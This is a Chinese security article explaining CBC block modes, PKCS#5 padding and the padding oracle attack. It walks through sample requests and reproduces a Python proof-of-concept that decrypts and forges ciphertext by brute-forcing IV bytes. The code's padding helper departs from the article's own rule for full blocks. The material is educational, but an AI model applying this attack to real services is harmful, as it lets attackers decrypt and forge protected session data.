本文由安全客首发,文章链接: https://www.anquanke.com/post/id/203869
安全客 - 有思想的安全新媒体

一、简介

Shiro,Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

Padding填充规则,我们的输入数据长度是不规则的,因此必然需要进行“填充”才能形成完整的“块”。简单地说,便是根据最后一个数据块所缺少的长度来选择填充的内容。例如,数据块长度要求是8字节,如果输入的最后一个数据块只有5个字节的数据,那么则在最后补充三个字节的0x3。如果输入的最后一个数据块正好为8字节长,则在最后补充一个完整的长为8字节的数据块,每个字节填0x8。如图-1所示,使用这个规则,我们便可以根据填充的内容来得知填充的长度,以便在解密后去除填充的字节。

Padding Oracle Attack,这种攻击利用了服务器在 CBC(密码块链接模式)加密模式中的填充测试漏洞。如果输入的密文不合法,类库则会抛出异常,这便是一种提示。攻击者可以不断地提供密文,让解密程序给出提示,不断修正,最终得到的所需要的结果。其中"Oracle"一词指的是“提示”,与甲骨文公司并无关联。加密时可以使用多种填充规则,但最常见的填充方式之一是在PKCS#5标准中定义的规则。PCKS#5的填充方式为:明文的最后一个数据块包含N个字节的填充数据(N取决于明文最后一块的数据长度)。下图是一些示例,展示了不同长度的单词(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它们使用PKCS#5填充后的结果(每个数据块为8字节长)。

Shiro Padding Oracle攻击分析

 

图-1

 

 

二、加密方式拓普 

加密方式通常分为两大类:对称加密和非对称加密

对称加密又称单密钥加密,也就是字面意思,加密解密用的都是同一个密钥,常见的对称加密算法,例如DES、3DES、Blowfish、IDEA、RC4、RC5、RC6 和 AES。

非对称加密,就是说密钥分两个,一个公钥,一个私钥,加解密过程就是公钥加密私钥解密和私钥加密公钥匙解密,常见的非对称加密算法有,RSA、ECC(移动设备用)、Diffie-Hellman、El Gamal、DSA(数字签名用)等。

对称加密算法中一般分为两种加密模式:分组加密和序列密码

分组密码,也叫块加密(block cyphers),一次加密明文中的一个块。是将明文按一定的位长分组,明文组经过加密运算得到密文组,密文组经过解密运算(加密运算的逆运算),还原成明文组。

序列密码,也叫流加密(stream cyphers),一次加密明文中的一个位。是指利用少量的密钥(制乱元素)通过某种复杂的运算(密码算法)产生大量的伪随机位流,用于对明文位流的加密。

这里举例介绍对称加密算法的AES分组加密的五种工作体制:

  1. 电码本模式(Electronic Codebook Book (ECB))
  2. 密码分组链接模式(Cipher Block Chaining (CBC))
  3. 计算器模式(Counter (CTR))
  4. 密码反馈模式(Cipher FeedBack (CFB))
  5. 输出反馈模式(Output FeedBack (OFB))

 

【一】、ECB-电码本模式

这种模式是将明文分为若干块等长的小段,然后对每一小段进行加密解密

Shiro Padding Oracle攻击分析

 

 

 

【二】、CBC-密码分组链接模式

跟ECB一样,先将明文分为等长的小段,但是此时会获取一个随机的 “初始向量(IV)” 参与算法。正是因为IV的参入,由得相同的明文在每一次CBC加密得到的密文不同。

再看看图中的加密原理,很像是数据结构中的链式结构,第一个明文块会和IV进行异或运算,然后和密匙一起传入加密器得到密文块。并将该密文块与下一个明文块异或,以此类推。

Shiro Padding Oracle攻击分析

 

 

 

【三】、CTR-计算器模式

计算器模式不常见,在CTR模式中, 有一个自增的算子,这个算子用密钥(K)加密之后的输出和明文(P)异或的结果得到密文(C),相当于一次一密。这种加密方式简单快速,安全可靠,而且可以并行加密,但是在计算器不能维持很长的情况下,密钥只能使用一次。

Shiro Padding Oracle攻击分析

 

 

【四】、CFB-密码反馈模式

直接看图吧

Shiro Padding Oracle攻击分析

 

 

【五】、OFB-输出反馈模式

看图

Shiro Padding Oracle攻击分析

 

 

从上述所述的几种工作机制中,都无一例外的将明文分成了等长的小段。所以当块不满足等长的时候,就会用Padding的方式来填充目标。

 

 三、Padding Oracle攻击原理讲解

当应用程序接受到加密后的值以后,它将返回三种情况:

 

  • 接受到正确的密文之后(填充正确且包含合法的值),应用程序正常返回(200 - OK)。
  • 接受到非法的密文之后(解密后发现填充不正确),应用程序抛出一个解密异常(500 - Internal Server Error)。
  • 接受到合法的密文(填充正确)但解密后得到一个非法的值,应用程序显示自定义错误消息(200 - OK)。

 

 Shiro Padding Oracle攻击分析

 

 

 这里从freebuf借来一张图,上图简单的概述了''TEST"的解密过程,首先输入密码经过加解密算法可以得到一个中间结果 ,我们称之为中间值,中间值将会和初始向量IV进行异或运算后得到明文

 那么攻击所需条件大致如下

  1. 拥有密文,这里的密文是“F851D6CC68FC9537”
  2. 知道初始向量IV
  3. 能够了解实时反馈,如服务器的200、500等信息。

 密文和IV其实可以通过url中的参数得到,例如有如下

http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537

 

上述参数中的“6D367076036E2239F851D6CC68FC9537”拆分来看就是 IV和密文的组合,所以可以得到IV是“6D367076036E2239”

再来看看CBC的解密过程

Shiro Padding Oracle攻击分析

 

 

 已经有IV、密文,只有Key和明文未知。再加上Padding机制。可以尝试在IV全部为0的情况下会发生什么

Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537
Response: 500 - Internal Server Error

 

得到一个500异常,这是因为填充的值和填充的数量不一致

Shiro Padding Oracle攻击分析

倘如发送如下数据信息的时候:

Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537
Response: 200 OK

最后的字节位上为0x01,正好满足Padding机制的要求。

Shiro Padding Oracle攻击分析

 

 

在这个情况下,我们便可以推断出中间值(Intermediary Value)的最后一个字节,因为我们知道它和0x3C异或后的结果为0x01,于是:

因为 [Intermediary Byte] ^ 0x3C == 0x01, 
得到 [Intermediary Byte] == 0x3C ^ 0x01, 
所以 [Intermediary Byte] == 0x3D

 以此类推,可以解密出所有的中间值

Shiro Padding Oracle攻击分析

 

 而此时块中的值已经全部填充为0x08了,IV的值也为“317B2B2A0F622E35”

 

 

 此时再将原本的IV与已经推测出的中间值进行异或就可以得到明文了

Shiro Padding Oracle攻击分析

 

 当分块在一块之上时,如“ENCRYPT TEST”,攻击机制又是如何运作的呢?

Shiro Padding Oracle攻击分析

 

 其实原理还是一样,在CBC解密时,先将密文的第一个块进行块解密,然后将结果与IV异或,就能得到明文,同时,本次解密的输入密文作为下一个块解密的IV。

不难看出,下一段明文的内容是受到上一段密文的影响的,这里附上道哥写的一个demo

  1 """
  2     Padding Oracle Attack POC(CBC-MODE)
  3     Author: axis(axis@ph4nt0m.org)
  4     http://hi.baidu.com/aullik5
  5     2011.9
  6   
  7     This program is based on Juliano Rizzo and Thai Duong's talk on 
  8     Practical Padding Oracle Attack.(http://netifera.com/research/)
  9   
 10     For Education Purpose Only!!!
 11   
 12     This program is free software: you can redistribute it and/or modify
 13     it under the terms of the GNU General Public License as published by
 14     the Free Software Foundation, either version 3 of the License, or
 15     (at your option) any later version.
 16   
 17     This program is distributed in the hope that it will be useful,
 18     but WITHOUT ANY WARRANTY; without even the implied warranty of
 19     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 20     GNU General Public License for more details.
 21   
 22     You should have received a copy of the GNU General Public License
 23     along with this program.  If not, see <http://www.gnu.org/licenses/>.
 24 """
 25   
 26 import sys
 27   
 28 # https://www.dlitz.net/software/pycrypto/
 29 from Crypto.Cipher import *
 30 import binascii
 31   
 32 # the key for encrypt/decrypt
 33 # we demo the poc here, so we need the key
 34 # in real attack, you can trigger encrypt/decrypt in a complete blackbox env
 35 ENCKEY = 'abcdefgh'
 36   
 37 def main(args):
 38   print
 39   print "=== Padding Oracle Attack POC(CBC-MODE) ==="
 40   print "=== by axis ==="
 41   print "=== axis@ph4nt0m.org ==="
 42   print "=== 2011.9 ==="
 43   print
 44   
 45   ########################################
 46   # you may config this part by yourself
 47   iv = '12345678'
 48   plain = 'aaaaaaaaaaaaaaaaX'
 49   plain_want = "opaas"
 50   
 51   # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 
 52   cipher = "blowfish"
 53   ########################################
 54   
 55   block_size = 8
 56   if cipher.lower() == "aes":
 57     block_size = 16
 58   
 59   if len(iv) != block_size:
 60     print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"
 61     return False
 62   
 63   print "=== Generate Target Ciphertext ==="
 64   
 65   ciphertext = encrypt(plain, iv, cipher)
 66   if not ciphertext:
 67     print "[-] Encrypt Error!"
 68     return False
 69   
 70   print "[+] plaintext is: "+plain
 71   print "[+] iv is: "+hex_s(iv)
 72   print "[+] ciphertext is: "+ hex_s(ciphertext)
 73   print
 74   
 75   print "=== Start Padding Oracle Decrypt ==="
 76   print
 77   print "[+] Choosing Cipher: "+cipher.upper()
 78   
 79   guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)
 80   
 81   if guess:
 82     print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])
 83     print "[+] plaintext = intermediary_value XOR original_IV"
 84     print "[+] Guess plaintext is: "+guess["plaintext"]
 85     print
 86   
 87     if plain_want:
 88       print "=== Start Padding Oracle Encrypt ==="
 89       print "[+] plaintext want to encrypt is: "+plain_want
 90       print "[+] Choosing Cipher: "+cipher.upper()
 91   
 92       en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)
 93   
 94       if en:
 95         print "[+] Encrypt Success!"
 96         print "[+] The ciphertext you want is: "+hex_s(en[block_size:])
 97         print "[+] IV is: "+hex_s(en[:block_size])
 98         print
 99         
100         print "=== Let's verify the custom encrypt result ==="
101         print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"
102         de = decrypt(en[block_size:], en[:block_size], cipher)
103         if de == add_PKCS5_padding(plain_want, block_size):
104           print de
105           print "[+] Bingo!"
106         else:
107           print "[-] It seems something wrong happened!"
108           return False
109   
110     return True
111   else:
112     return False
113   
114   
115 def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):
116   # the last block
117   guess_cipher = ciphertext[0-block_size:] 
118   
119   plaintext = add_PKCS5_padding(plaintext, block_size)
120   print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)
121   print
122   
123   block = len(plaintext)
124   iv_nouse = iv # no use here, in fact we only need intermediary
125   prev_cipher = ciphertext[0-block_size:] # init with the last cipher block
126   while block > 0:
127     # we need the intermediary value
128     tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)
129   
130     # calculate the iv, the iv is the ciphertext of the previous block
131     prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )
132   
133     #save result
134     guess_cipher = prev_cipher + guess_cipher
135   
136     block = block - block_size
137   
138   return guess_cipher  
139   
140   
141 def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):
142   # split cipher into blocks; we will manipulate ciphertext block by block
143   cipher_block = split_cipher_block(ciphertext, block_size)
144   
145   if cipher_block:
146     result = {}
147     result["intermediary"] = ''
148     result["plaintext"] = ''
149   
150     counter = 0
151     for c in cipher_block:
152       if debug:
153         print "[*] Now try to decrypt block "+str(counter)
154         print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)
155         print
156       # padding oracle to each block
157       guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)
158   
159       if guess:
160         iv = c
161         result["intermediary"] += guess["intermediary"]
162         result["plaintext"] += guess["plaintext"]
163         if debug:
164           print
165           print "[+] Block "+str(counter)+" decrypt!"
166           print "[+] intermediary value is: "+hex_s(guess["intermediary"])
167           print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]
168           print
169         counter = counter+1
170       else:
171         print "[-] padding oracle decrypt error!"
172         return False
173   
174     return result
175   else:
176     print "[-] ciphertext's block_size is incorrect!"   
177     return False
178   
179 def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):
180   result = {}
181   plain = ''
182   intermediary = []  # list to save intermediary
183   iv_p = [] # list to save the iv we found
184   
185   for i in range(1, block_size+1):
186     iv_try = []
187     iv_p = change_iv(iv_p, intermediary, i)
188   
189     # construct iv
190     # iv = \x00...(several 0 bytes) + \x0e(the bruteforce byte) + \xdc...(the iv bytes we found)
191     for k in range(0, block_size-i):
192       iv_try.append("\x00")
193   
194     # bruteforce iv byte for padding oracle
195     # 1 bytes to bruteforce, then append the rest bytes
196     iv_try.append("\x00")
197   
198     for b in range(0,256):
199       iv_tmp = iv_try
200       iv_tmp[len(iv_tmp)-1] = chr(b)
201      
202       iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)
203   
204       # append the result of iv, we've just calculate it, saved in iv_p
205       for p in range(0,len(iv_p)):
206         iv_tmp_s += iv_p[len(iv_p)-1-p]
207        
208       # in real attack, you have to replace this part to trigger the decrypt program
209       #print hex_s(iv_tmp_s) # for debug
210       plain = decrypt(ciphertext, iv_tmp_s, cipher)
211       #print hex_s(plain) # for debug
212   
213       # got it!
214       # in real attack, you have to replace this part to the padding error judgement
215       if check_PKCS5_padding(plain, i):
216         if debug:
217           print "[*] Try IV: "+hex_s(iv_tmp_s)
218           print "[*] Found padding oracle: " + hex_s(plain)
219         iv_p.append(chr(b))
220         intermediary.append(chr(b ^ i))
221          
222         break
223   
224   plain = ''
225   for ch in range(0, len(intermediary)):
226     plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )
227      
228   result["plaintext"] = plain
229   result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]
230   return result
231   
232 # save the iv bytes found by padding oracle into a list
233 def change_iv(iv_p, intermediary, p):
234   for i in range(0, len(iv_p)):
235     iv_p[i] = chr( ord(intermediary[i]) ^ p)
236   return iv_p  
237   
238 def split_cipher_block(ciphertext, block_size=8):
239   if len(ciphertext) % block_size != 0:
240     return False
241   
242   result = []
243   length = 0
244   while length < len(ciphertext):
245     result.append(ciphertext[length:length+block_size])
246     length += block_size
247   
248   return result
249   
250   
251 def check_PKCS5_padding(plain, p):
252   if len(plain) % 8 != 0:
253     return False
254   
255   # convert the string
256   plain = plain[::-1]
257   ch = 0
258   found = 0
259   while ch < p:
260     if plain[ch] == chr(p):
261       found += 1
262     ch += 1
263   
264   if found == p:
265     return True
266   else:
267     return False
268   
269 def add_PKCS5_padding(plaintext, block_size):
270   s = ''
271   if len(plaintext) % block_size == 0:
272     return plaintext
273   
274   if len(plaintext) < block_size:
275     padding = block_size - len(plaintext)
276   else:
277     padding = block_size - (len(plaintext) % block_size)
278    
279   for i in range(0, padding):
280     plaintext += chr(padding)
281   
282   return plaintext
283   
284 def decrypt(ciphertext, iv, cipher):
285   # we only need the padding error itself, not the key
286   # you may gain padding error info in other ways
287   # in real attack, you may trigger decrypt program
288   # a complete blackbox environment
289   key = ENCKEY
290   
291   if cipher.lower() == "des":
292     o = DES.new(key, DES.MODE_CBC,iv)
293   elif cipher.lower() == "aes":
294     o = AES.new(key, AES.MODE_CBC,iv)
295   elif cipher.lower() == "des3":
296     o = DES3.new(key, DES3.MODE_CBC,iv)
297   elif cipher.lower() == "blowfish":
298     o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
299   elif cipher.lower() == "cast":
300     o = CAST.new(key, CAST.MODE_CBC,iv)
301   elif cipher.lower() == "arc2":
302     o = ARC2.new(key, ARC2.MODE_CBC,iv)
303   else:
304     return False
305   
306   if len(iv) % 8 != 0:
307     return False
308   
309   if len(ciphertext) % 8 != 0:
310     return False
311   
312   return o.decrypt(ciphertext)
313   
314   
315 def encrypt(plaintext, iv, cipher):
316   key = ENCKEY
317   
318   if cipher.lower() == "des":
319     if len(key) != 8:
320       print "[-] DES key must be 8 bytes long!"
321       return False
322     o = DES.new(key, DES.MODE_CBC,iv)
323   elif cipher.lower() == "aes":
324     if len(key) != 16 and len(key) != 24 and len(key) != 32:
325       print "[-] AES key must be 16/24/32 bytes long!"
326       return False
327     o = AES.new(key, AES.MODE_CBC,iv)
328   elif cipher.lower() == "des3":
329     if len(key) != 16:
330       print "[-] Triple DES key must be 16 bytes long!"
331       return False
332     o = DES3.new(key, DES3.MODE_CBC,iv)
333   elif cipher.lower() == "blowfish":
334     o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
335   elif cipher.lower() == "cast":
336     o = CAST.new(key, CAST.MODE_CBC,iv)
337   elif cipher.lower() == "arc2":
338     o = ARC2.new(key, ARC2.MODE_CBC,iv)
339   else:
340     return False
341   
342   plaintext = add_PKCS5_padding(plaintext, len(iv))  
343   
344   return o.encrypt(plaintext)
345   
346 def xor_str(a,b):
347   if len(a) != len(b):
348     return False
349   
350   c = ''
351   for i in range(0, len(a)):
352     c += chr( ord(a[i]) ^ ord(b[i]) )
353   
354   return c
355   
356 def hex_s(str):
357   re = ''
358   for i in range(0,len(str)):
359     re += "\\x"+binascii.b2a_hex(str[i])
360   return re
361   
362 if __name__ == "__main__":
363         main(sys.argv)
demo

相关文章: